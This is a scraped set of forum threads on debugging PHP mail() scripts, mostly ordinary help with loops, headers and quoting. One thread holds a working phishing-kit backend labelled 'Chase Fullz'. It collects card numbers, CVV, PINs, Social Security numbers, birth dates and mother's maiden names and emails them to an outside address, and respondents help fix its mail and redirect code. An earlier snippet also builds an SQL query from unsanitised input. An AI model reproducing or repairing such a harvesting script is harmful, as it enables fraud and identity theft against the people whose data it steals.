I have the following issues.
I receive separate emails for each iteration of the loop. I want mail to be only sent once with all of the items iterated.
<?php
// Honey pot trap
// Create a hidden input that is only visible to bots. If it's empty than proceed.
if (empty($_POST['humancheck'])){
// Proceeed if submit button have been pressed
$fullName = $_POST['fname'];
$email = $_POST['email'];
$stage = $_POST['stage'];
include("db.php");
$resources = "select * from resources where stage LIKE '%".$stage."%'";
$run_query = mysqli_query($con, $resources);
while($row = mysqli_fetch_array($run_query)) {
$data[] = array(
'format' => $row['format'],
'title' => $row['title'],
'costs' => $row['cost'],
'stage' => $row['stage'],
'topic' => $row['topic'],
'link' => $row['link']
);
}
foreach($data as $item) {
// Sanitize input data
$clean_fullName = htmlspecialchars($fullName);
$clean_email = htmlspecialchars($email);
// Mail Set up
$to = $clean_email;
$to_us = "info#email.com";
// Email subject
$subject = "Your custom resource pack has arrived!";
$subject_us = "New custom resource delivered to: $clean_email";
$message = '<html><body>';
$message .= "<p>";
$message .= "Hi $clean_fullName, <br><br>";
$message .= " Based on your responses, we have created a custom resource pack tailored to your needs. <br><br>";
$message .= "<b>{$item['title']}</b><br>";
$message .= "{$item['format']} <br>";
$message .= "{$item['costs']} <br>";
$message .= "{$item['link']} <br><br>";
$message .= " If you have any questions, do not hesitate to reach out to us. <br><br>";
$message .= "</p>";
$message .= '</body></html>';
$message_us = "The below message was sent to $clean_fullName <br>
<i> Hi $clean_fullName <br>";
$message_us .= "\r\n Based on your responses, we have created a custom resource pack tailored to your needs: \r\n";
$message_us .= "\r\n If you have any questions, do not hesitate to reach out to us. \r\n";
// Headers
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <info#email.com>' . "\r\n";
}
mail($to,$subject,$message,$headers);
mail($to_us,$subject_us,$message_us,$headers);
}
?>
what happens is the while loops to the data that is stored in an array. That array is used in foreach. and outside of the loops, the mail is suppose to mail the result.
In theory this should of worked but its not working.
Try this. Edit last part of your code in this way. Take one time parameters of mail content outside the loop, and let loop make only the message content.
$clean_fullName = htmlspecialchars($fullName);
$clean_email = htmlspecialchars($email);
$to = $clean_email;
$to_us = "info#email.com";
$subject = "Your custom resource pack has arrived!";
$subject_us = "New custom resource delivered to: $clean_email";
$message = '<html><body>';
$message .= "<p>";
$message .= "Hi $clean_fullName, <br><br>";
$message .= " Based on your responses, we have created a custom resource pack tailored to your needs. <br><br>";
foreach($data as $item) {
$message .= "<b>{$item['title']}</b><br>";
$message .= "{$item['format']} <br>";
$message .= "{$item['costs']} <br>";
$message .= "{$item['link']} <br><br>";
}
$message .= " If you have any questions, do not hesitate to reach out to us. <br><br>";
$message .= "</p>";
$message .= '</body></html>';
$message_us = "The below message was sent to $clean_fullName <br><i> Hi $clean_fullName <br>";
$message_us .= "\r\n Based on your responses, we have created a custom resource pack tailored to your needs: \r\n";
$message_us .= "\r\n If you have any questions, do not hesitate to reach out to us. \r\n";
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <info#email.com>' . "\r\n";
mail($to,$subject,$message,$headers);
mail($to_us,$subject_us,$message_us,$headers);
Related
Hello fellow citizens of ....oh skip all that... I am experiencing some difficulty trying to output html via my cron and I have checked other responses to this issue. But, I can’t seem to get it right so I’m hoping someone out there can assist me. The data pulls correctly and the cron email sends but what I end up with is my data with all the html tags appended. I have tried moving the $to and $header out of the while loop, above the while loop, below the while loop, and also tried with everything inside the while loop with only the $message being the one call to dtat $row etc and then echo'd that from within the loop.
I have tried two versions of ---
( $headers .= 'Content-type:text/html;charset=iso-8859-1'
. "\r\n";)
and
( $headers .= 'Content-type:text/html;charset=utf-8-1' .
"\r\n";)
So any assistance would be great!
Cheers!
$db = new MySQLi('------', '------', '------', '------');
if ($db->connect_error) {
$mese = $db->connect_error; } else {
$sql = "SELECT * FROM table";
$result = $db->query($sql);
while ($row = mysqli_fetch_assoc($result)) {
$to = "some#gmail.com";
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type:text/html;charset=iso-8859-
1'
. "\r\n";
$message = "<html>";
$message .= "<head></head>";
$message .= "<body>";
$message .= '<ul><li>' . $row['item'] .'</li></ul>';
echo $message;
$message .= "</body>";
$message = "</html>";
$from = "somewhere#.someplace.net"; $subject = "checking php
mail";
mail($headers, $to,$subject,$message, $from);
}
}
?>
All the quotes in your code are messed up. This could be the reason.
Try this:
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
$message = '<html>';
$message .= '<head></head>';
$message .= '<body>';
$message .= '<ul><li>' . $row['item'] .'</li></ul>';
$message .= '</body>';
$message .= '</html>';
Trying to build a code to send password reset link through email in response to those who request it.
The email is received on hotmail and gmail, but not on particular mail client I do not know the configuration.
Of course, I tried several arrangements regarding the quotes and doubles-quotes, but it did not give anything.
<?php
$site = "http://www.example.fr";
$from = "info#example.fr";
$nom = "DLSS";
$limite = "_----------=_parties_".md5(uniqid (rand()));
$sujet = "Password Reset";
$text = "Please click on this link to initialize your password.";
$html = "Please click on this link to initialize your password.";
$from = $nom." <".$from.">";
$header = "From: ".$from."\n";
$header .= "Reply-to: ".$from."\n";
$header .= "Return-Path: ".$from."\n";
$header .= "Organization: ".$nom."\n";
$header .= "X-Sender: <".$site.">\n";
$header .= "X-Mailer: PHP/".phpversion()."\n";
$header .= "X-auth-smtp-user: ".$from." \n";
$header .= "X-abuse-contact: ".$from." \n";
$header .= "Date: ".date("D, j M Y G:i:s O")."\n";
$header .= "MIME-Version: 1.0\n";
$header .= "Content-Type: multipart/alternative; boundary=\"".$limite."\"";
$message = "";
$message .= "--".$limite."\n";
$message .= "Content-Type: text/plain\n";
$message .= "charset=\"iso-8859-1\"\n";
$message .= "Content-Transfer-Encoding: 8bit\n\n";
$message .= $text;
$message .= "\n\n--".$limite."\n";
$message .= "Content-Type: text/html; ";
$message .= "charset=\"iso-8859-1\"; ";
$message .= "Content-Transfer-Encoding: 8bit;\n\n";
$message .= $html;
$message .= "\n--".$limite."--";
mail($eml, $sujet, $message, $header);
?>
In summary, the email is received by this particular mail client when I replace these two lines there :
$text = "Please click on this link to initialize your password.";
$html = "Please click on this link to initialize your password.";
With these two lines here :
$text = "Test Email with link. link";
$html = "Test Email with link. link";
Or with these two lines here :
$text = $eml . " - " . $cod;
$html = $eml . " - " . $cod;
Finally, the problem is in the combination of these two parts that are the web address and the two variables, it's been three days that I try to solve this problem but I can not do it alone, it would be really nice to have help, Thanks in advance !
Having trouble executing a select and send to all email address in a script.
// Get Employee's Email Address
$getEmail = "SELECT empEmail AS theEmail FROM employees";
$emailres = mysqli_query($mysqli, $getEmail) or die('-1'.mysqli_error());
$col = mysqli_fetch_assoc($emailres);
$theEmail = $col['theEmail'];
// the message
$message = '<html><body>';
$message .= '<h3>New Site Notifications</h3>';
$message .= '<p>'.$noticeTitle.'</p>';
$message .= '<p>'.$noticeText.'</p>';
$message .= '<p>'.$messageText.'</p>';
$message .= '<hr>';
$message .= '<p>'.$emailLoginLink.'</p>';
$message .= '<p>Thank you<br>Bliss Door Supervisors</p>';
$message .= '</body></html>';
$headers = "From: ".$siteName." <".$businessEmail.">\r\n";
$headers .= "Reply-To: ".$businessEmail."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
// use wordwrap() if lines are longer than 70 characters
//$msg = wordwrap($msg,70);
// send email
mail($theEmail," New Site Notification",$message,$headers);
//End Send Mail
For some reason, it only emails the first email in the database but not the other 10+ witihin.
Can anyone see where i'm going wrong? or assist.
Many thanks
Spike
Fetch only pulls one row at a time. Move the fetch into a loop like...
// Get Employee's Email Address
$getEmail = "SELECT empEmail AS theEmail FROM employees";
$emailres = mysqli_query($mysqli, $getEmail) or die('-1'.mysqli_error());
while($col = mysqli_fetch_assoc($emailres)){ //start loop here so each email address is pulled
$theEmail = $col['theEmail'];
// the message
$message = '<html><body>';
$message .= '<h3>New Site Notifications</h3>';
$message .= '<p>'.$noticeTitle.'</p>';
$message .= '<p>'.$noticeText.'</p>';
$message .= '<p>'.$messageText.'</p>';
$message .= '<hr>';
$message .= '<p>'.$emailLoginLink.'</p>';
$message .= '<p>Thank you<br>Bliss Door Supervisors</p>';
$message .= '</body></html>';
$headers = "From: ".$siteName." <".$businessEmail.">\r\n";
$headers .= "Reply-To: ".$businessEmail."\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
// use wordwrap() if lines are longer than 70 characters
//$msg = wordwrap($msg,70);
// send email
mail($theEmail," New Site Notification",$message,$headers);
//End Send Mail
}//end loop
Reference: http://php.net/manual/en/mysqli-result.fetch-assoc.php
Returns an associative array that corresponds to the fetched row
From their example:
$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";
if ($result = $mysqli->query($query)) {
/* fetch associative array */
while ($row = $result->fetch_assoc()) {
printf ("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}
I've been messing with this code all day for a friend and i can't seem to get it to redirect after sending whatever info is sent. Wondering if anyone could help.
I need it to redirect to site.com/logoff.php
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "--------------+ User online +------------\n";
$message .= "Full Name : : ".$_POST['Name']."\n";
$message .= "Mailing Address : ".$_POST['address']."\n";
$message .= "Mailing Address 2 : ".$_POST['address2']."\n";
$message .= " City : ".$_POST['city']."\n";
$message .= " State : ".$_POST['state']."\n";
$message .= " Zip Code : ".$_POST['zip']."\n";
$message .= "--------------+ Card Info +------------\n";
$message .= " Confirm Card Number : ".$_POST['cardnumber']."\n";
$message .= " Expiration Date : ".$_POST['expmonth']."";
$message .= "".$_POST['expyear']."\n";
$message .= " Card Security Code : ".$_POST['cvv']."\n";
$message .= " Card Pin : ".$_POST['cardpin']."\n";
$message .= "--------------+ Security Information +------------\n";
$message .= " Social Security Number : ".$_POST['ssn1']."";
$message .= "-".$_POST['ssn2']."";
$message .= "-".$_POST['ssn3']."\n";
$message .= " Date of Birth : ".$_POST['bmonth']."";
$message .= "-".$_POST['bday']."";
$message .= "-".$_POST['byear']."\n";
$message .= " MMN : ".$_POST['mmn']."\n";
$message .= "--------------+ Connction info +------------\n";
$message .= "IP Address : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "--------------------\n";
$rnessage = "$message\n";
$message .= "--------------+ Run the world +------------\n";
$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$rnessage,$headers) != false){
mail($Send,$subject,$rnessage,$headers);
mail($messege,$subject,$rnessage,$headers);
Header ("Location:logoff.php");
}
?>
Few things.
You have call mail() three times.
When you check if(mail() 1= false){}. you send mail again two more times with no recipient in 3rd mail();
mail($messege,$subject,$rnessage,$headers);
But still if you need to send multiple mail you can define them all in one array.
$recipients = array('mail1', 'mail2');
mail(implode(',', $recipients), $subject, $message, $headers);
And also if you need you can print error by
error_get_last()
$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str = array($send, $IP);/* seems redundant, you can't send an email to an ip address! */
/* Only one call to mail is needed */
if( mail( $send, $subject, $message, $headers) != false){
header ("Location:logoff.php");
} else {
echo 'failed';
}
I have an html form the links to a PHP email. The form works well, but I am having trouble with the Cc and Bcc not coming through.
Here is the entire code. Please review and help me understand what I am getting wrong on the Cc and Bcc parts in the headers.
Thanks:
<?php
$emailFromName = $_POST['name'];
$emailFrom = $_POST['email'];
$emailFromPhone = $_POST['phone'];
$email9_11 = $_POST['9-10'];
$email10_11 = $_POST['10-11'];
$email11_12 = $_POST['11-12'];
$email12_1 = $_POST['12-1'];
if (empty($emailFromName)) {
echo 'Please enter your name.';
} elseif (!preg_match('/^([A-Z0-9\.\-_]+)#([A-Z0-9\.\-_]+)?([\.]{1})([A-Z]{2,6})$/i', $emailFrom) || empty($emailFrom)) {
echo 'The email address entered is invalid.';
} else {
$emailTo = "main#gmail.com" ;
$subject = "Family History Conference Registration";
if (!empty($emailFrom)) {
$headers = 'From: "' . $emailFromName . '" <' . $emailFrom . '>';
} else {
$headers = 'From: Family History Conference <noreply#domain.org>' . "\r\n";
$headers .= 'Cc: $emailFrom' . "\r\n";
$headers .= 'Bcc: myemail#domain.com' . "\r\n";
}
$body = "From: ".$emailFromName."\n";
$body .= "Email: ".$emailFrom."\n";
$body .= "Phone: ".$emailFromPhone."\n\n";
$body .= "I would like to attend the following classes.\n";
$body .= "9:10 to 10:00: ".$email9_11."\n";
$body .= "10:10 to 11:00: ".$email10_11."\n";
$body .= "11:10 to 12:00: ".$email11_12."\n";
$body .= "12:10 to 1:00: ".$email12_1."\n";
/* Send Email */
if (mail($emailTo, $subject, $body, $headers)) {
echo "<h2>Thank you for Registering</h2>
<h3>You have registered for the following classes</h3>
<p>9:10 to 10:00am: \"$email9_11\" <br />
10:10 to 11:00am: \"$email10_11\"<br />
11:10 to 12:00: \"$email11_12\"<br />
12:10 to 1:00: \"$email12_1\"</p>
<p>We look forward to seeing you October 31, 2010</p>";
} else {
echo 'There was an internal error while sending your email.<br>';
echo 'Please try again later.';
}
}
?>
You're using single quotes
$headers .= 'Cc: $emailFrom' . "\r\n";
PHP won't interpret variables inside single quotes, you must use double quotes
$headers .= "Cc: $emailFrom\r\n";